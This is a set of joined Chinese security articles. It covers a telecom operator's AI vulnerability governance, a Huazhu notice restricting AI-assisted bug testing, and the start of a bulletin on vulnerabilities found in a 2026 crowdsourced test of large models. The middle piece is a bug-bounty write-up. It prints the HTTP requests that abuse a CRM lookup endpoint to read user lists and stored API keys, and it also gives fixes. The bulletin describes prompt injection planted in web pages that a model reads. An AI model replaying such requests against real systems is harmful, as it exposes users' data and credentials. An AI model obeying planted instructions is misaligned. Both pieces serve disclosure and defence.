上线评测环节依托多维度指标与大规模通信数据集的内部评测平台，开展提示注入、对抗样本等红队测试，部署输入输出双层安全护栏，对恶意提示进行有效拦截。
|
||||
|
||||
运行层面严格区分靶场与生产环境的智能体权限，生产环境仅开放只读探测接口，高危操作强制人工审批；全部提示词及工具调用日志加密留存，并搭建审计看板，实现异常行为的实时监测与阻断。
|
||||
|
||||
在工具链方面，外部扫描组件、微调模型均部署于沙箱隔离环境并按月巡检，训练所用的业务代码与漏洞样本统一脱敏处理，从源头防范内网拓扑、客户隐私及未公开漏洞外泄风险。多环节协同联动，为智能体应用构建覆盖上线前评测、运行中监控、运维侧防御的纵深安全防线。
|
||||
|
||||
（四）实战化培育复合型AI安全人才梯队
|
||||
|
||||
依托集团国家级仿真靶场搭建四级人才梯队，截至2026年6月，中国移动内部已累计认证安全人才超1万人，150余人具备AI漏洞挖掘、智能体评测复合能力并入选国家级实战库。靶场增设AI劫持、大模型辅助批量漏洞挖掘红蓝对抗科目，系统自动复盘攻防链路并输出能力评估报告，以实战同步锤炼传统漏洞分析、AI安全评估双重技能。深化产学研联合机制，联合高校、CNNVD共建通信漏洞标注数据集，设立AI漏洞联合攻关课题，打通算法仿真、电信运营商现网验证完整链路，定向储备兼具通信、代码、大模型能力后备人才，缓解行业复合型人才缺口。
|
||||
|
||||
（五）共建产业协同漏洞安全治理共同体
|
||||
|
||||
对内打通各省、专业公司AI漏洞审计日志，统一全网风险视图；对外与CNNVD建立多层协同机制，常态化报送新型AI、通信漏洞，参与行业标准编制；联合全球新一代信息通信技术合作组织（GTI）发布AI安全治理倡议；启动九天安全伙伴计划，联合厂商、高校共建通信漏洞标准化数据集，在脱敏前提下跨企业共享漏洞预警、防御方案，凝聚全行业合力应对5G、算力网络共性漏洞安全风险。
|
||||
|
||||
|
||||
**四、落地实践成效与行业长效优化路径**
|
||||
|
||||
|
||||
依托五位一体智能化治理体系，中国移动已完成全网平台规模化落地，在资产管控、漏洞处置、软件安全、AI防护及人才与产业协同方面取得量化成效。结合中国移动百万级通信资产现网落地经验，梳理出行业五大共性落地瓶颈，并从技术、平台制度、人才、生态维度提出长效优化路径，方案兼顾生产业务连续性与AI安全管控要求，可为行业提供参考。
|
||||
|
||||
（一）体系规模化落地量化实践成效
|
||||
|
||||
据中国移动全网平台运行统计（统计周期为2025年7月至2026年6月），在资产管控方面，全网试点资产扫描识别率达92.02%，台账更新压缩至小时级，高危漏洞资产定位由平均3天缩短至分钟级，动态资产盲区与应急响应滞后问题得到有效缓解；在漏洞研判环节，人工甄别工作量下降70%，异常行为识别效率提升85％，安全告警自动化处置率提升至99％，专家资源从重复性甄别中释放至高危漏洞深度分析；在软件供应链层面，DevSecOps全流程AI审计落地，大模型赋能SAST/IAST显著提升检测精度，上线缺陷同比显著下降。AI安全管控体系上线以来，未监测到智能体劫持、数据泄露事件，累计阻止上线存在安全缺陷的AI系统19套，AI工具自身安全风险得到有效管控；人才梯队持续扩充，多名专家参与国家级网络安全攻防演练AI专项演练，自动化渗透测试红蓝对抗科目纳入靶场常态化训练；产业协同建成共享样本库，实现高危AI漏洞小时级跨行业预警，体系运行成效得到初步验证。
|
||||
|
||||
（二）行业AI漏洞治理面临五大共性瓶颈
|
||||
|
||||
从中国移动现网实践与行业交流情况看，AI漏洞治理在规模化落地过程中仍面临以下五方面共性瓶颈。一是大模型幻觉尚无法根除，全自动化研判的可靠性有待提升；二是通信行业5G、算力专用标注漏洞样本稀缺，公开数据集无法适配行业场景，限制了大模型能力上限；三是智能体自主性与可控性难以平衡，放开智能体自主操作虽可提升效率，但会扩大风险敞口，多层审批又削弱自动化效率优势，行业缺乏统一的分级授权落地标准；四是漏洞挖掘、审计类AI缺少专项评测规范，现有标准面向通用大模型，各企业评估口径不统一；五是产学研转化壁垒明显，高校算法基于开源代码验证，缺少电信运营商海量真实网络环境打磨，一线实战经验难以转化为标准化公开数据集。
|
||||
|
||||
（三）分维度长效优化实施路径
|
||||
|
||||
在技术层面，固化人机协同路线，采用多模型交叉验证与沙箱双重验证抑制幻觉，联合CNNVD共建通信脱敏漏洞样本池，搭建智能体安全约束架构；在平台制度层面，迭代AI漏洞运营中枢，新增AI评测、CNNVD自动报送模块，牵头制定通信行业漏洞分析AI专项评测标准，完善智能体应急处置制度并纳入年度考核；在人才层面，持续升级AI对抗靶场，深化产学研联合实验室定向培育后备人才；在产业生态层面，在脱敏基础上搭建跨行业AI预警通道，依托第十六届网络安全漏洞分析与风险评估大会开展联合攻关，输出通信行业标准化治理实践经验。
|
||||
|
||||
|
||||
**五、总结与展望**
|
||||
|
||||
|
||||
全球AI攻防博弈持续升级，漏洞武器化周期不断缩短，基础电信行业作为数字经济核心底座，仅依靠传统防护手段已无法支撑长期安全发展。行业智能化改造不能片面追求自动化效率，必须同步统筹AI全生命周期安全管控，坚持人机协同、安全前置的思路。单一企业难以独立完成行业样本、评测标准、协同预警体系建设，需依托CNNVD等国家级漏洞管理平台，并通过行业会议联动产业链各方共建共享。中国移动将持续迭代升级大模型漏洞分析能力，完善智能体全流程安全管控体系，持续参与行业标准制定与联合攻关，不断输出电信运营商实战经验，推动漏洞治理由经验驱动向智能驱动转型，为关键信息基础设施主动防御和网络强国建设筑牢通信安全底座。
|
||||
|
||||
（本文刊登于《中国信息安全》杂志2026年第8期）
|
||||
|
||||
|
||||
[](https://cisat.cn/)
|
||||
|
||||
|
||||
@@ -0,0 +1,238 @@
|
||||
# 从一条审批API请求，挖掘严重漏洞
|
||||
原创 APT-101
|
||||
APT-101 APT-101 2026-09-30 11:04
|
||||
|
||||
## 起点是一条很普通的请求
|
||||
|
||||
收到一个请求包，是页面里"查看审批流程"按钮发出来的：
|
||||
|
||||
|
||||
```
|
||||
GET /api/CrmFlow/GetFlowStepList?flowId=<xxx>&entityName=new_invadj&entityId=<xxx> HTTP/1.1
|
||||
Host: 192.168.0.1:8080
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
|
||||
Accept: application/json, text/plain, */*
|
||||
Accept-Language: zh-CN
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Authorization: Bearer xxxx
|
||||
Connection: keep-alive
|
||||
Referer: http://192.168.0.1:8080/
|
||||
|
||||
```
|
||||
|
||||
参数只有三个，两个 GUID 加一个实体名。正常来说这种请求就是确认一下审批走到哪一步了，没什么可看的。
|
||||
|
||||
不过 entityName=new_invadj
|
||||
这个参数我多看了两眼。这个值是从前端传过来的。既然是从前端传过来的，那它就不一定非得是 new_invadj
|
||||
——换成别的会怎么样？
|
||||
## 第一轮：猜接口名，全是 404
|
||||
|
||||
第一反应是找通用接口。既然前端有"查找"这个动作，后端大概率有个能按实体名查数据的端点。
|
||||
|
||||
于是按常规命名猜了几个：/api/GetList
|
||||
、/api/GetLookupData
|
||||
、/api/GetEntityData
|
||||
，都是 404。
|
||||
|
||||
|
||||
|
||||
到这里大部分人就会收手了，结论也很自然：没这个功能，这条路不通。我当时也差点这么记。
|
||||
|
||||
后来发现这个结论下早了。
|
||||
## 那个 404 不一定代表接口不存在
|
||||
|
||||
这个站跑的是 ASP.NET Web API。它有个不太友好的行为：请求参数凑不齐的时候，路由层找不到能匹配的 Action，返回的不是 400 而是 404，响应体是 No HTTP resource was found that matches the request URI '...'
|
||||
。
|
||||
|
||||
这和"路径不存在"的 404 长得一模一样。
|
||||
|
||||
验证方法很简单，拿手上这条能正常返回的请求做减法，一次删一个参数：
|
||||
```
|
||||
GET /api/CrmFlow/GetFlowStepList?flowId=<flow-id>&entityId=<record-id> HTTP/1.1
|
||||
→ 404 No HTTP resource was found that matches the request URI '...'
|
||||
|
||||
GET /api/CrmFlow/GetFlowStepList?flowId=<flow-id>&entityName=new_invadj HTTP/1.1
|
||||
→ 404 No HTTP resource was found that matches the request URI '...'
|
||||
```
|
||||
|
||||
删掉任何一个参数都是这个 404，三个都在才是 200。
|
||||
|
||||
也就是说，刚才那堆 404 里可能有一部分接口是真实存在的，只是参数没凑齐。继续盲猜参数名没什么意义——猜对了也证明不了猜对了。
|
||||
|
||||
所以换个方向：不猜接口，去看谁在调接口。
|
||||
## 去翻前端 bundle
|
||||
|
||||
前端是 Vue2 + webpack。首屏加载了三个 JS，其中 app.js
|
||||
有 311 KB，业务逻辑基本都在里面。下下来 grep 一下 lookup
|
||||
：
|
||||
```
|
||||
// app.js · LookupDialog 组件
|
||||
props: {
|
||||
entity: { type: String, required: true },
|
||||
requestUrl: { default: () => "../api/crmlookupview/getdata" },
|
||||
nameField: { default: () => "new_name" },
|
||||
idField: { default: function () { return this.entity + "id" } },
|
||||
filterFields: { default: () => "new_name" },
|
||||
orderbyFields: { default: () => "createdon desc" },
|
||||
conditionFields: { default: () => "" },
|
||||
}
|
||||
```
|
||||
|
||||
接口路径拿到了：/api/crmlookupview/getdata
|
||||
。这个名字靠猜是猜不出来的。
|
||||
|
||||
往下翻，拼 URL 的那个方法也在里面，逻辑一眼能看懂：
|
||||
```
|
||||
_fetchRecords() {
|
||||
const n = this.requestUrl + "?entityName=" + this.entity
|
||||
+ "&page=" + this.pageIndex
|
||||
+ "&count=" + this.pageSize
|
||||
+ "&select=" + this.selectString // 字段
|
||||
+ "&orderby=" + this.orderbyString // 排序
|
||||
+ "&filter=" + this.filterString // 过滤字段名
|
||||
+ "&filterValue=" + encodeURIComponent(this.filterValue || "") // 过滤值
|
||||
+ "&condition=" + this.conditionString; // 额外条件
|
||||
rt.get(n).then(res => {
|
||||
this.tableData = res.Data;
|
||||
this.totalRecordCount = res.TotalRecordCount;
|
||||
});
|
||||
}
|
||||
```
|
||||
|
||||
八个参数，我一个都没猜中。
|
||||
## 把参数补齐
|
||||
|
||||
照着拼一遍：
|
||||
```
|
||||
GET /api/crmlookupview/getdata?entityName=new_invadj&page=1&count=1&select=new_name&orderby=createdon%20desc&filter=new_name&filterValue=&condition= HTTP/1.1
|
||||
Host: 192.0.2.10:8267
|
||||
Authorization: Bearer <502 字符>
|
||||
```
|
||||
```
|
||||
{"Data":{"TotalRecordCount":7,"Data":[{"new_name":"IN2604210002"}]},"ErrorCode":0,"Message":null}
|
||||
```
|
||||
|
||||
200，返回 7 条。
|
||||
|
||||
|
||||
|
||||
这条响应一出来，前面那些 404 的性质就变了——它们不代表功能不存在，只代表我没读源码。
|
||||
## 六个参数，四个维度
|
||||
|
||||
再回头看参数表。我习惯一个个问：这个值，客户端能自己定吗？
|
||||
<table><thead><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><th style="box-sizing: border-box;text-align: left;font-size: 14px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;font-weight: bold;background-color: rgb(240, 240, 240);margin: 0px;"><section><span leaf="">参数</span></section></th><th style="box-sizing: border-box;text-align: left;font-size: 14px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;font-weight: bold;background-color: rgb(240, 240, 240);margin: 0px;"><section><span leaf="">客户端可控</span></section></th><th style="box-sizing: border-box;text-align: left;font-size: 14px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;font-weight: bold;background-color: rgb(240, 240, 240);margin: 0px;"><section><span leaf="">决定什么</span></section></th></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="box-sizing: border-box;font-size: 14px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;margin: 0px;"><code style="box-sizing: border-box;font-size: 1em;font-family: source-code-pro, Menlo, Monaco, Consolas, "Courier New", monospace;"><span leaf="">entityName</span></code></td><td style="box-sizing: border-box;font-size: 14px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;margin: 0px;"><section><span leaf="">是</span></section></td><td style="box-sizing: border-box;font-size: 14px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;margin: 0px;"><section><span leaf="">查哪个实体</span></section></td></tr><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;font-size: 14px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;margin: 0px;"><code style="box-sizing: border-box;font-size: 1em;font-family: source-code-pro, Menlo, Monaco, Consolas, "Courier New", monospace;"><span leaf="">select</span></code></td><td style="box-sizing: border-box;font-size: 14px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;margin: 0px;"><section><span leaf="">是</span></section></td><td style="box-sizing: border-box;font-size: 14px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;margin: 0px;"><section><span leaf="">返回哪些字段</span></section></td></tr><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="box-sizing: border-box;font-size: 14px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;margin: 0px;"><code style="box-sizing: border-box;font-size: 1em;font-family: source-code-pro, Menlo, Monaco, Consolas, "Courier New", monospace;"><span leaf="">orderby</span></code></td><td style="box-sizing: border-box;font-size: 14px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;margin: 0px;"><section><span leaf="">是</span></section></td><td style="box-sizing: border-box;font-size: 14px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;margin: 0px;"><section><span leaf="">按什么排序</span></section></td></tr><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;font-size: 14px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;margin: 0px;"><code style="box-sizing: border-box;font-size: 1em;font-family: source-code-pro, Menlo, Monaco, Consolas, "Courier New", monospace;"><span leaf="">filter</span></code><section><span leaf=""> / </span><code style="box-sizing: border-box;font-size: 1em;font-Line truncated
|
||||
六个全部由前端拼装，服务端一个都没做覆盖或限制。而这六个合起来，正好是查询的四个维度：实体、记录、字段、排序。
|
||||
## 换 entityName 试试
|
||||
|
||||
既然 entityName
|
||||
是随便传的，那就换着来。
|
||||
|
||||
换成客户主数据实体：
|
||||
```
|
||||
GET /api/crmlookupview/getdata?entityName=account&page=1&count=1&select=name,accountid&orderby=name%20asc&filter=name&filterValue=&condition= HTTP/1.1
|
||||
```
|
||||
```
|
||||
{"Data":{"TotalRecordCount":340968,...}}
|
||||
```
|
||||
|
||||
换成用户实体：
|
||||
```
|
||||
GET /api/crmlookupview/getdata?entityName=systemuser&page=1&count=2&select=fullname,domainname&orderby=fullname%20asc&filter=fullname&filterValue=&condition= HTTP/1.1
|
||||
```
|
||||
```
|
||||
{"Data":{"TotalRecordCount":407,
|
||||
"Data":[{"fullname":"白**","domainname":"CORP\\0000xxxx"},
|
||||
{"fullname":"柏**","domainname":"CORP\\0000xxxx"}]}}
|
||||
```
|
||||
|
||||
|
||||
|
||||
换成系统参数表：
|
||||
```
|
||||
GET api/crmlookupview/getdata?entityName=new_systemparameter&page=1&count=2&select=new_name,new_value&orderby=new_name%20asc&filter=new_name&filterValue=&condition= HTTP/1.1
|
||||
|
||||
```
|
||||
```
|
||||
{"Data":{"TotalRecordCount":135,
|
||||
"Data":[{"new_name":"advance_remind_time","new_value":"5"},
|
||||
{"new_name":"AmapAK","new_value":"8070b2f5…de871"}]}}
|
||||
```
|
||||
|
||||
|
||||
|
||||
第三个请求的问题不只是"能查系统参数表"。参数表里还躺着第三方地图的 API Key、企业微信的 CorpSecret、OAuth 的 clientid/clientsecret，以及 ERP / WMS / 发票平台的内网地址。凭据和横向移动的路线图，在一次查询里一起出来了。
|
||||
|
||||
接管Aliyun OSS Bucket
|
||||
|
||||
|
||||
## 补一个对照实验
|
||||
|
||||
上面所有结论都压在同一个假设上：TotalRecordCount
|
||||
这个数字真的跟着我传的条件走。
|
||||
|
||||
万一它是个写死的占位值呢？万一 count=1
|
||||
只影响返回条数，计数其实是缓存呢？
|
||||
|
||||
所以得做对照。用的是最直接的一组：同一个实体、同一个字段，只改 condition
|
||||
，让条件恒真和恒假。
|
||||
```
|
||||
# 不加行级条件
|
||||
...&entityName=systemuser&filter=fullname&filterValue=&condition=
|
||||
→ TotalRecordCount: 407
|
||||
|
||||
# 加一个不可能成立的条件
|
||||
...&entityName=systemuser&filter=fullname&filterValue=&condition=fullname%20eq%20zzz_no_such
|
||||
→ TotalRecordCount: 0
|
||||
```
|
||||
|
||||
407 掉到 0。
|
||||
|
||||
如果计数是占位的，它不会归零；如果服务端强制了行级范围，它也不会归零——那样的话行级范围应该和这个条件取交集，而不是被清空。行级范围确实由客户端的 condition
|
||||
控制。
|
||||
## 这个接口为什么长成这样
|
||||
|
||||
写到这里我停了一下，因为第一版报告里我把它写成了"开发忘了加权限判断"。这个说法不准确。
|
||||
|
||||
它的前端组件叫 LookupDialog
|
||||
，是个通用的"关联字段查找弹窗"。业务表单上任何关联字段点一下都会弹它，entity
|
||||
是必填 prop，哪个页面调用就传哪个实体名。
|
||||
|
||||
要支持这个用法，后端就只能有一个接收任意实体名的通用查询端点。这是元数据驱动平台（Dynamics / Dataverse 这一系）的标准做法，不算设计失误。
|
||||
|
||||
问题在别的地方。这类平台自带一套声明式授权：安全角色 + 业务部门 + 记录所有权。这套东西不用写代码，只要查询是以调用者本人的身份执行的，平台会自动把不该看的行过滤掉。
|
||||
|
||||
而这个接口是用应用服务账号执行的。
|
||||
|
||||
执行身份一旦变成应用账号，这套授权就整套失效——安全角色判的不是调用者，业务部门拦不住，记录所有权也不属于它。所有行对所有人一致可见。
|
||||
|
||||
所以准确的说法是：它不是漏了一层检查，是把一层本来免费、自动生效的授权关掉了。
|
||||
|
||||
这也解释了为什么测试阶段发现不了。单部门的测试数据下，这层授权开着和关着，返回的行数一样。只有数据里出现"不该看见的行"，问题才会暴露。而生产环境里，这样的行有 34 万条。
|
||||
|
||||
另外，同一套封装层下面还有 /api/crmdata
|
||||
（通用 Dataverse 读写代理）和 /api/crmpicklist/options/
|
||||
（元数据枚举）。这是产品模板层面的结构，不是某个部署实例的临时产物。
|
||||
## 修复
|
||||
|
||||
按根因往外排：
|
||||
1. **把执行身份换回调用者**
|
||||
。用平台的模拟身份机制，让查询以调用者的安全角色执行。这样权限过滤由平台自动施加，不需要在业务代码里逐条写规则，也不会有"某个端点忘了写"。
|
||||
|
||||
1. **给通用接口设边界**
|
||||
。这个接口的定位是"帮用户挑一条记录填进表单"，那它返回的就该只有名称和 ID 两列，页大小要有上限，字段走白名单。现在它能返回任意字段（包括存凭据的 new_value
|
||||
），是因为没给自己设边界。
|
||||
|
||||
1. **密钥独立轮换**
|
||||
。这一条跟代码修复没关系。已经读出去的 API Key 不会因为改代码而失效，得把它移出业务表、进密钥管理，泄露的那批立刻重置，再去第三方控制台确认有没有被调用过。
|
||||
|
||||
1. **把 TotalRecordCount 收进权限范围**
|
||||
。它现在是全表计数，等于给任何人在任何表上开了一个免费的行数探测器。
|
||||
|
||||
## 最后
|
||||
|
||||
|
||||
|
||||
回头看，这次挖洞里花时间最多的不是某个技巧，而是在 404 面前没有直接收手。
|
||||
|
||||
那堆 404 当时看着像"功能不存在"的铁证，其实只是参数不齐时路由层的噪声。解开它们靠的不是更聪明的扫描器，是一个 311 KB 的 JS 文件——前端把参数契约写得很清楚，只是没人去读。
|
||||
|
||||
@@ -0,0 +1,152 @@
|
||||
# 关于规范AI辅助漏洞测试行为的公告
|
||||
华住安全响应中心 2026-09-30 05:28
|
||||
|
||||
各位安全测试人员、白帽研究者、合作伙伴及相关参与人员：
|
||||
|
||||
为保障华住集团（以下简称 “公司”）业务系统稳定运行与用户数据安全，规范 AI 工具在安全漏洞测试中的使用行为，明确测试边界与合规要求，降低测试活动对生产业务、用户权益及数据安全造成的潜在风险，根据《中华人民共和国网络安全法》《中华人民共和国数据安全法》《中华人民共和国个人信息保护法》等法律法规，结合公司安全测试管理规范，现就相关要求公告如下：
|
||||
|
||||
一、适用范围
|
||||
|
||||
本公告适用于所有参与华住集团安全测试、漏洞验证与提交活动的主体，包括但不限于公司内部安全团队、外部白帽研究者、众测活动参与方、合作伙伴测试人员，以及通过 HSRC 平台提交漏洞的所有人员。
|
||||
|
||||
|
||||
二、AI使用约束
|
||||
|
||||
01
|
||||
|
||||
|
||||
|
||||
|
||||
**定位与责任边界**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
1. AI 仅可作为安全测试的辅助分析工具，用于信息整理、思路参考、代码初筛等场景。所有由 AI 生成或修改的测试 Payload、脚本代码、操作命令及测试方案，必须经测试人员人工复核，确认安全合规且在授权范围内后方可执行。测试人员对自身执行的所有操作及后果承担全部责任，AI 输出结果不构成违规免责依据。
|
||||
|
||||
2. 禁止在无人全程监督的情况下，由 AI 自主选择测试目标、扩展测试范围、调用测试工具或持续发起测试请求。AI 不具备独立的测试授权判断能力，其输出内容的合规性与准确性由使用人全权负责。
|
||||
|
||||
|
||||
02
|
||||
|
||||
|
||||
|
||||
|
||||
**使用场景限制**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
1. 未经 HSRC 书面授权，禁止使用 AI 或自动化工具对生产环境开展大规模扫描、端口遍历、漏洞探测或批量攻击测试。
|
||||
|
||||
2. 严禁将公司源代码、接口文档、业务数据、用户信息、账号密码、访问密钥、云平台凭据及其他敏感信息上传至外部公有 AI 服务平台；公司内部私有化部署的 AI 工具，需严格按照内部数据安全管理规范使用，严禁超权限调用敏感数据。
|
||||
|
||||
|
||||
三、测试授权与范围管理
|
||||
|
||||
1. 所有测试行为必须严格限定在 HSRC 正式授权的资产范围内，测试授权以书面通知或平台官方公示的资产清单为准。与公司存在业务合作关系的合作方、供应商所属资产，不视为自动获得测试授权。
|
||||
|
||||
2. 未经资产权属方及 HSRC 双重授权，禁止测试第三方服务、外部 API、CDN 节点或其他非公司自有资产；确需测试的，应事先确认资产归属并取得正式授权文件。
|
||||
|
||||
3. 禁止利用已获取的测试权限作为跳板，访问授权范围外的系统、主机、应用或其他租户环境；禁止未经授权开展内网横向探测、横向移动，或访问未对外开放的内部系统。
|
||||
|
||||
4. 测试过程中如发现目标资产不属于授权范围、可能涉及第三方权益，或测试行为可能影响业务稳定性，应立即停止相关操作，通过 HSRC 官方渠道提交说明，经确认后方可决定是否继续。
|
||||
|
||||
|
||||
四、漏洞验证与影响控制
|
||||
|
||||
漏洞验证应遵循 “最小化、无害化、可验证” 原则，以证明漏洞存在及核心影响为限，禁止超出验证必要范围开展操作。
|
||||
|
||||
01
|
||||
|
||||
|
||||
|
||||
|
||||
**常规验证规范**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
1. 禁止获取与漏洞验证无关的业务数据、用户信息或系统配置信息。对于越权访问、SQL 注入等可能读取真实数据的漏洞，应优先使用测试数据或构造无害化请求完成验证；确需接触真实数据的，应以证明漏洞所必需的最少数据量为限，且不得留存、传播。
|
||||
|
||||
2. 严禁开展暴力破解、撞库、DoS/DDoS 攻击、高并发拒绝服务测试，以及其他可能造成服务中断、业务异常或大量用户账号风险的操作。经正式审批的业务性能压测除外，且应严格遵守批准的目标、时间、频率及流量限制。
|
||||
|
||||
3. 禁止批量读取、爬取、遍历或全量导出业务数据、用户数据及系统日志。
|
||||
|
||||
4. 涉及权限提升、数据写入 / 修改 / 删除、批量接口调用、文件上传等可能影响生产业务或真实用户权益的操作，必须提前向 HSRC 报备并取得书面授权。未经授权，禁止执行任何可能改变目标系统状态、配置或数据的操作。
|
||||
|
||||
5. 漏洞验证确需执行系统命令的，应仅使用最轻量级的只读命令（如系统身份查询、路径查询等），且不得超出证明漏洞存在的最小必要范围。严禁部署 WebShell、植入后门、上传恶意文件或木马程序，以及实施其他深层渗透或破坏性操作。
|
||||
|
||||
02
|
||||
|
||||
|
||||
|
||||
|
||||
**敏感信息与凭据处置**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
1. 测试过程中发现云平台访问密钥（AK/SK）、Kubernetes 集群凭据、账号密码、API 密钥等敏感凭据后，应立即停止进一步验证操作，通过 HSRC 官方渠道提交报告。未经授权，不得使用相关凭据登录系统、访问云资源、验证其他业务权限或扩大影响范围。
|
||||
|
||||
2. 禁止下载、留存、传播或二次利用测试过程中获取的源代码、业务数据、用户资料、登录凭证等敏感信息。发现个人敏感信息、商业秘密或可能严重影响业务运行的风险时，应立即停止测试并第一时间向 HSRC 报告；已获取的必要验证材料应按平台要求及时删除或安全销毁。
|
||||
|
||||
3. 未经 HSRC 正式授权，禁止向任何第三方披露漏洞详情、利用代码、复现步骤及相关敏感信息；不得使用违反法律法规及平台规定的内容作为测试素材。
|
||||
|
||||
|
||||
五、测试留痕与报告要求
|
||||
|
||||
1. 测试人员应如实、完整记录测试过程，包括测试范围、关键操作、验证步骤、结果数据及可能产生的业务影响，不得删除、伪造或篡改测试日志及相关记录。
|
||||
|
||||
2. 漏洞报告应以实际验证结果为依据，准确描述漏洞成因、复现条件、影响范围及危害程度。由 AI 生成或辅助整理的漏洞报告，必须经测试人员人工核实确认，确保内容真实、准确、完整。
|
||||
|
||||
|
||||
六、漏洞评级及奖励认定
|
||||
|
||||
1. 漏洞存在于测试环境、公司已知并正在修复，或公司在漏洞提交前已通过内部安全流程发现并完成处置的，平台将根据实际情况作降级处理或不予收录奖励。
|
||||
|
||||
2. 通过同一入口漏洞延伸发现的、存在直接因果关联的同资产后续漏洞，除特殊情形外按单个漏洞统计，不重复计入漏洞数量及奖励。
|
||||
|
||||
3. 漏洞评级、影响范围及危害程度以实际验证结果为依据，严禁夸大漏洞影响、隐瞒验证限制或重复提交关联漏洞。
|
||||
|
||||
|
||||
七、违规处理
|
||||
|
||||
对于违反本公告要求的行为，华住安全响应中心将根据违规情节、造成的影响及主观过错程度，采取相应处理措施：
|
||||
|
||||
**1. 一般情节：**
|
||||
首次违规且未造成实际影响的，给予口头或书面警告、漏洞降级处理、扣除相应奖励或贡献值、限制参与后续平台活动等处理。
|
||||
|
||||
**2. 严重情节：**
|
||||
多次违规、超范围测试造成业务影响、违规获取或传播敏感数据、恶意利用漏洞、伪造或删除测试记录的，给予永久封禁平台账号、追回已发放奖励的处理；造成公司或用户损失的，依法追究民事赔偿责任。
|
||||
|
||||
**3. 涉嫌违法犯罪的：**
|
||||
依法移送公安机关或相关监管部门处理。
|
||||
|
||||
|
||||
八、附则
|
||||
|
||||
1. 本公告自发布之日起生效。
|
||||
|
||||
2. 本公告由华住安全响应中心（HSRC）负责解释与修订。
|
||||
|
||||
3. 官方提交与咨询渠道：
|
||||
|
||||
· 漏洞提交平台：
|
||||
https://sec.huazhu.com/
|
||||
|
||||
· 官方联系邮箱：hsrc@hworld.com
|
||||
|
||||
请所有参与测试的人员严格遵守以上要求，合规、合理使用 AI 工具，确保安全测试活动在授权、可控、可追溯的前提下开展，共同维护华住集团业务安全与用户权益。
|
||||
如有疑问，可通过上述渠道咨询确认，感谢大家的支持！
|
||||
|
||||
|
||||
华住安全响应中心
|
||||
|
||||
2026 年 9 月 30 日
|
||||
|
||||
|
||||
@@ -0,0 +1,104 @@
|
||||
# 动态｜关于2026年人工智能大模型安全众测活动典型漏洞风险的通报
|
||||
信息安全研究 2026-09-30 03:00
|
||||
|
||||
**点击蓝字 关注我们**
|
||||
|
||||
|
||||
|
||||
|
||||
# 2026年9月15日，2026年人工智能大模型安全众测结果在国家网络安全宣传周发布。活动共动员2467名白帽子，对国内25家AI厂商的54款大模型及智能体应用产品进行了漏洞测试。累计发现各类安全漏洞873个，其中大模型及智能体应用特有漏洞608个，传统漏洞265个。现将典型漏洞风险及应对处置建议通报如下。
|
||||
|
||||
**PART 0****1**
|
||||
|
||||
**典型漏洞风险问题**
|
||||
|
||||
|
||||
|
||||
|
||||
Typical Vulnerability Risks
|
||||
|
||||
开源大模型和大模型应用典型漏洞风险包括：
|
||||
|
||||
**（一）提示注入类漏洞普遍，仍是大模型最常见漏洞风险。**
|
||||
主要通过构造特定输入内容，直接或间接操纵模型行为，诱导其绕过安全限制执行恶意操作。例如，某大模型可通过在模型读取的网页、文档等内容中预埋恶意指令，并诱导模型检索将其作为可信指令自动执行。
|
||||
|
||||
**（二）信息泄露类漏洞多发，存在较大安全风险。**
|
||||
主要通过输入特定内容诱导模型输出个人身份信息（
|
||||
PII
|
||||
）、凭证等敏感数据，以及模型内部参数、安全规则等内部信息。例如，某大模型存在
|
||||
API
|
||||
密钥硬编码与泄露漏洞，暴露所有用户共享使用的云平台
|
||||
239
|
||||
个模型的
|
||||
API
|
||||
密钥。
|
||||
|
||||
**（三）部分产品存在不当输出处理类漏洞且危害严重。**
|
||||
主要是模型生成内容未经验证、过滤即被用于下游系统，导致恶意内容被直接执行或传递。例如，某大模型助理模式可以通过构造特定恶意指令绕过模型安全限制，实现远程命令执行并提权。
|
||||
|
||||
Claw
|
||||
类智能体应用典型漏洞风险包括：
|
||||
|
||||
**（四）代理身份与权限滥用类漏洞频发，存在较大安全隐患。**
|
||||
